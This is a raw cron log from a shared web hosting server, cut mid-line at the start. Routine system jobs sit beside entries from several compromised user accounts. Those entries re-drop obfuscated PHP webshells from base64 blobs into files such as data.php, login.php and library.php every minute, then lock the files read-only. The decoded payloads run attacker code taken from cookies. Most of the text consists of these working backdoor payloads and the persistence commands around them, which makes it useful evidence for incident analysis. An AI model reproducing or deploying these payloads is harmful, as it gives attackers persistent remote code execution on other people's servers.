CRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:17:02 medusa CROND[19341]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:18:01 medusa CROND[10356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:18:01 medusa CROND[10485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:18:01 medusa CROND[10509]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:18:01 medusa CROND[10510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:18:01 medusa CROND[10512]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:18:01 medusa CROND[10513]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:18:01 medusa CROND[10515]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:18:01 medusa CROND[10516]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:18:01 medusa CROND[10517]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:18:01 medusa CROND[10519]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:18:01 medusa CROND[10527]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Apr 19 06:18:01 medusa CROND[10528]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:18:01 medusa CROND[10530]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:18:01 medusa CROND[10533]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:19:01 medusa CROND[1719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:19:01 medusa CROND[1741]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:19:01 medusa CROND[1782]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:19:01 medusa CROND[1851]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:19:01 medusa CROND[1852]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:19:01 medusa CROND[1853]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:19:01 medusa CROND[1854]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:19:01 medusa CROND[1856]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:19:01 medusa CROND[1857]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:19:01 medusa CROND[1858]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:19:01 medusa CROND[1869]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:19:01 medusa CROND[1867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:20:01 medusa CROND[25703]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:20:02 medusa CROND[25729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
